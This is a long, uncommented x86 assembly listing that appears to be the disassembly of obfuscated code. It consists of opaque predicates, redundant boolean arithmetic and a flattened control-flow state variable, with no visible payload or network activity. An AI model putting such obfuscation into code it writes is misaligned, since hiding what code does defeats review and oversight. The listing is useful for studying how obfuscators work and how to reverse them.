sub esi, edx
xor edx, edx
sub edx, 0x45486970
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xb639234a
sub edx, esi
sub edx, 0xfe27f9e9
sub edx, 0x45486970
add edx, 0xfe27f9e9
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bh
mov byte [ebp - 0x487bd], bh
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, ah
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x487c1], al
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
and cl, dl
mov dh, ch
and dh, 0xff
and bh, dl
or al, cl
mov cl, byte [ebp - 0x487c1]
or dh, bh
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x487a9], al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and bh, ch
mov byte [ebp - 0x487c0], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x487bf], al
mov al, byte [ebp - 0x487c0]
or cl, al
mov al, byte [ebp - 0x487bf]
or bh, al
mov al, byte [ebp - 0x487a9]
xor cl, bh
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov byte [ebp - 0x4879f], cl
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or dh, bh
or dl, ch
xor dh, dl
mov ch, bl
xor ch, 0xff
mov dl, dh
and dl, ch
xor dh, 0xff
mov ch, bl
and ch, dh
or dl, ch
mov ch, bl
xor ch, 0xff
mov bh, dl
xor bh, ch
and bh, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and cl, dl
or ch, cl
mov dl, ah
xor dl, 0xff
mov cl, ch
and cl, dl
xor ch, 0xff
mov dl, ah
and dl, ch
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov dh, 1
xor dh, 1
and dh, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0x487be], al
mov al, 1
xor al, 0
mov cl, al
and cl, 0
mov ah, 1
xor ah, 1
and ah, 0
and al, 1
mov byte [ebp - 0x487bc], al
mov al, byte [ebp - 0x487be]
or al, cl
mov cl, byte [ebp - 0x487bd]
mov byte [ebp - 0x487bb], al
mov al, byte [ebp - 0x487bc]
or ah, al
mov al, byte [ebp - 0x487bb]
xor al, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and ah, al
mov al, byte [ebp - 0x4879f]
or dh, ah
xor dh, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dh, ch
or ah, 0
xor dh, 0xff
and dh, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov al, cl
xor al, 0xff
mov ch, ah
and ch, al
xor ah, 0xff
mov al, cl
and al, ah
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x487ba], al
mov ah, 1
xor ah, 0
mov cl, bh
and cl, ah
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x487b9], al
mov al, byte [ebp - 0x487ba]
and ah, 1
or al, cl
mov cl, byte [ebp - 0x487b9]
or cl, ah
xor al, cl
mov byte [ebp - 0x487b6], al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x487b8], al
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x487b7], al
mov al, byte [ebp - 0x487b8]
and ah, 1
or al, cl
mov cl, byte [ebp - 0x487b7]
or cl, ah
mov ah, byte [ebp - 0x487b6]
xor al, cl
mov byte [ebp - 0x487b1], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov byte [ebp - 0x487ac], cl
mov al, 1
xor al, 1
xor ah, al
mov al, byte [ebp - 0x487b6]
and ah, al
xor cl, 0xff
mov al, bh
xor al, cl
mov cl, byte [ebp - 0x487b6]
and al, bh
mov bh, byte [ebp - 0x487b1]
mov byte [ebp - 0x487b3], al
xor bh, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x487b5], al
mov al, 1
xor al, 1
mov byte [ebp - 0x487b4], al
mov al, byte [ebp - 0x487b5]
or bh, al
mov al, byte [ebp - 0x487b4]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x487ac]
mov byte [ebp - 0x487b2], bh
xor al, 0xff
mov bh, dl
xor bh, al
mov al, byte [ebp - 0x487b3]
and bh, dl
mov dl, ah
and dl, al
xor ah, al
mov al, byte [ebp - 0x487b2]
or dl, ah
mov ah, al
and ah, bh
xor al, bh
or ah, al
mov bh, dl
xor bh, 0xff
mov al, ah
and al, bh
mov bh, byte [ebp - 0x487b1]
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x487a6], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x487b0], al
and cl, ah
mov al, bh
and al, 0xff
mov byte [ebp - 0x487af], al
mov al, byte [ebp - 0x487b1]
and al, ah
mov byte [ebp - 0x487ae], al
mov al, byte [ebp - 0x487b0]
or al, cl
mov cl, byte [ebp - 0x487af]
mov byte [ebp - 0x487ad], al
mov al, byte [ebp - 0x487ae]
or cl, al
mov al, byte [ebp - 0x487ad]
xor al, cl
mov cl, byte [ebp - 0x487ac]
or dl, bh
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x487a8], al
mov al, 1
xor al, 1
mov byte [ebp - 0x487a7], al
mov bh, ah
and bh, 0xff
and al, 1
mov byte [ebp - 0x487ab], al
mov al, byte [ebp - 0x487a8]
and al, 0xff
mov byte [ebp - 0x487aa], al
mov al, byte [ebp - 0x487a7]
and cl, al
mov al, byte [ebp - 0x487ab]
or bh, al
mov al, byte [ebp - 0x487aa]
or al, cl
mov cl, byte [ebp - 0x487a9]
xor bh, al
mov al, byte [ebp - 0x487a8]
or ah, al
mov al, byte [ebp - 0x487a7]
xor ah, 0xff
or al, 1
and ah, al
mov al, byte [ebp - 0x487a6]
or bh, ah
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
or dl, bh
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov bh, dh
xor bh, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or bh, dl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0x487a5], al
mov al, 1
xor al, 1
and dh, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0x487a5]
or al, dh
or dl, ch
xor al, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x487a2], dl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and bh, ch
mov byte [ebp - 0x487a4], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x487a3], al
mov al, byte [ebp - 0x487a4]
or dl, al
mov al, byte [ebp - 0x487a3]
or bh, al
mov al, byte [ebp - 0x487a2]
xor dl, bh
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dh, al
mov al, dl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, cl
and al, dh
or ch, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0x487a0], al
mov dh, ah
xor dh, 0xff
mov al, 1
xor al, 1
mov bh, 1
xor bh, 0
or dh, al
mov al, byte [ebp - 0x487a0]
or bh, 0
xor dh, 0xff
and dh, bh
xor bl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 0
or bl, al
mov al, byte [ebp - 0x487a0]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x487a1], bl
mov bh, 1
xor bh, 1
mov bl, ch
xor bl, bh
and bl, ch
xor al, 0xff
mov bh, cl
xor bh, al
mov al, byte [ebp - 0x487a1]
and bh, cl
mov cl, dh
and cl, al
xor dh, al
mov al, byte [ebp - 0x487a0]
or cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, cl
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and cl, dh
or bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and cl, ah
or bl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, cl
and al, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, ch
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dh, al
and dh, 0xff
and ch, cl
mov bl, ah
and bl, 0xff
and bh, cl
or dh, ch
mov ch, byte [ebp - 0x4879f]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, bl
or cl, ah
xor al, cl
mov byte [ebp - 0x4879c], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or cl, al
mov ah, 1
xor ah, 0
and ah, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or ah, al
mov al, byte [ebp - 0x4879c]
or bl, bh
xor ah, bl
mov bl, 1
xor bl, 0
mov bh, al
xor bh, bl
and bh, al
mov al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x4879e], al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov byte [ebp - 0x4879d], al
xor ch, 0xff
mov al, ah
xor al, 0xff
mov bl, 1
xor bl, 0
or ch, al
mov al, byte [ebp - 0x4879e]
or bl, 0
xor ch, 0xff
and ch, bl
mov bl, bh
and bl, al
xor bh, al
mov al, byte [ebp - 0x4879d]
or bl, bh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov al, bl
xor al, 0xff
mov ch, bh
and ch, al
mov al, byte [ebp - 0x4879c]
xor bh, 0xff
and bl, bh
or ch, bl
mov byte [ebp - 0x48798], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x48799], ch
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and ch, 0
and al, bl
mov byte [ebp - 0x4879b], al
mov al, bh
and al, 0
mov byte [ebp - 0x4879a], al
mov al, byte [ebp - 0x4879b]
and cl, bl
or ch, al
mov al, byte [ebp - 0x4879a]
or al, cl
mov cl, byte [ebp - 0x48799]
xor ch, al
mov al, byte [ebp - 0x48798]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ch, bl
or cl, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov bh, ch
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x48797], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x48797]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8af35aa
mov ecx, 0x35506ac2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
xor esi, esi
sub esi, 0xc747408f
mov edx, ecx
sub edx, esi
add edx, 0xce699746
sub edx, 0x2f7c5733
sub edx, 0xce699746
add edx, 0xf37514ba
sub edx, 0xc747408f
sub edx, 0xf37514ba
xor edi, edi
sub edi, 0x5067695e
sub edi, 1
add edi, 0x5067695e
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xa6d06fbf
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2f7c5733
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x3797889d
sub edx, 0xa6d06fbf
sub edx, 0x3797889d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x487e0], cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x487d6], al
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
and dl, 1
or bh, dl
mov dl, bh
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
mov ah, 1
xor ah, 1
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x487e5], ch
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and al, dl
mov dh, ah
and dh, 0xff
and bl, dl
or ch, al
mov al, byte [ebp - 0x487e5]
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov al, cl
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, al
and dl, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or dl, cl
mov cl, byte [ebp - 0x487d6]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, dl
xor al, 0xff
and al, 0xff
and dl, dh
or ah, ch
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov bh, 1
xor bh, 0
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x487e4], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x487e4]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x487c6], al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, ah
and cl, ch
or al, cl
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
or ch, cl
mov cl, 1
xor cl, 1
and cl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x487e1], al
mov bh, 1
xor bh, 0
mov bl, ch
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x487e3], al
mov al, byte [ebp - 0x487e1]
and al, 0
mov byte [ebp - 0x487e2], al
mov al, byte [ebp - 0x487e3]
and cl, bh
or bl, al
mov al, byte [ebp - 0x487e2]
or al, cl
mov cl, byte [ebp - 0x487e1]
xor bl, al
mov al, byte [ebp - 0x487e0]
or ch, cl
mov cl, byte [ebp - 0x487c6]
xor ch, 0xff
or bh, 0
and ch, bh
or bl, ch
mov ch, dh
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and dh, bh
or ch, dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x487ce], ch
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and al, ch
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, 1
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov byte [ebp - 0x487dd], cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bl, cl
and bl, 0
and bh, ch
mov byte [ebp - 0x487df], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x487de], al
mov al, byte [ebp - 0x487df]
or bl, al
mov al, byte [ebp - 0x487de]
or bh, al
mov al, byte [ebp - 0x487dd]
xor bl, bh
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or bl, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
or cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0x487dc], bh
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0x487d7], al
mov dh, cl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dh
and al, 0
mov byte [ebp - 0x487db], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x487da], al
mov al, byte [ebp - 0x487dc]
and al, bl
mov byte [ebp - 0x487d9], al
mov al, byte [ebp - 0x487db]
or al, cl
mov cl, byte [ebp - 0x487da]
mov byte [ebp - 0x487d8], al
mov al, byte [ebp - 0x487d9]
or cl, al
mov al, byte [ebp - 0x487d8]
xor al, cl
mov cl, byte [ebp - 0x487d7]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or al, dh
mov bl, cl
and bl, 1
xor cl, 1
or bl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x487d6]
or dh, bh
xor cl, dh
xor bl, 0xff
mov dh, cl
xor dh, bl
and dh, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or bl, al
mov al, byte [ebp - 0x487c6]
or cl, bh
xor bl, cl
mov bh, al
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
and al, cl
mov byte [ebp - 0x487d5], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x487d4], al
mov al, byte [ebp - 0x487d5]
and cl, 1
or bh, al
mov al, byte [ebp - 0x487d4]
or al, cl
xor bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, bl
and al, bh
xor bl, bh
or al, bl
mov byte [ebp - 0x487cf], al
mov bh, 1
xor bh, 1
mov byte [ebp - 0x487d0], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x487d1], al
mov bl, 1
xor bl, 0
and bh, 0
mov al, bl
and al, 1
mov byte [ebp - 0x487d3], al
mov al, byte [ebp - 0x487d1]
and al, 0
mov byte [ebp - 0x487d2], al
mov al, byte [ebp - 0x487d3]
and cl, bl
or bh, al
mov al, byte [ebp - 0x487d2]
or al, cl
mov cl, byte [ebp - 0x487d1]
xor bh, al
mov al, byte [ebp - 0x487d0]
or al, cl
mov cl, byte [ebp - 0x487cf]
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0x487ce]
or bl, cl
xor bl, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 0
or bl, bh
or cl, 0
xor bl, 0xff
and bl, cl
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bh, 1
xor bh, 0
or al, cl
mov cl, byte [ebp - 0x487ce]
or bh, 0
xor al, 0xff
and al, bh
mov byte [ebp - 0x487cc], al
mov bh, cl
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and cl, al
mov byte [ebp - 0x487cd], cl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, al
mov al, byte [ebp - 0x487cd]
or bh, al
mov al, byte [ebp - 0x487cc]
or cl, ch
xor bh, cl
mov byte [ebp - 0x487cb], bh
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x487c7], ch
xor bh, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0x487c8], cl
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x487cb]
mov byte [ebp - 0x487ca], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x487c9], al
mov al, byte [ebp - 0x487c8]
and cl, al
mov al, byte [ebp - 0x487ca]
or ch, al
mov al, byte [ebp - 0x487c9]
or al, cl
mov cl, byte [ebp - 0x487c8]
xor ch, al
mov al, byte [ebp - 0x487c7]
or al, bh
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, dh
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov bh, dh
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dh, bl
or cl, dh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dh, al
mov al, bh
xor al, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or dh, bh
or cl, bl
xor dh, cl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, ah
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov al, 1
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and ah, dh
mov al, dl
xor al, 0xff
and al, 0xff
and dl, dh
or bh, ah
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov bl, al
and bl, 0xff
and cl, dl
mov dh, ah
and dh, 0xff
and bh, dl
or bl, cl
mov cl, byte [ebp - 0x487c6]
or dh, bh
xor bl, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or bl, al
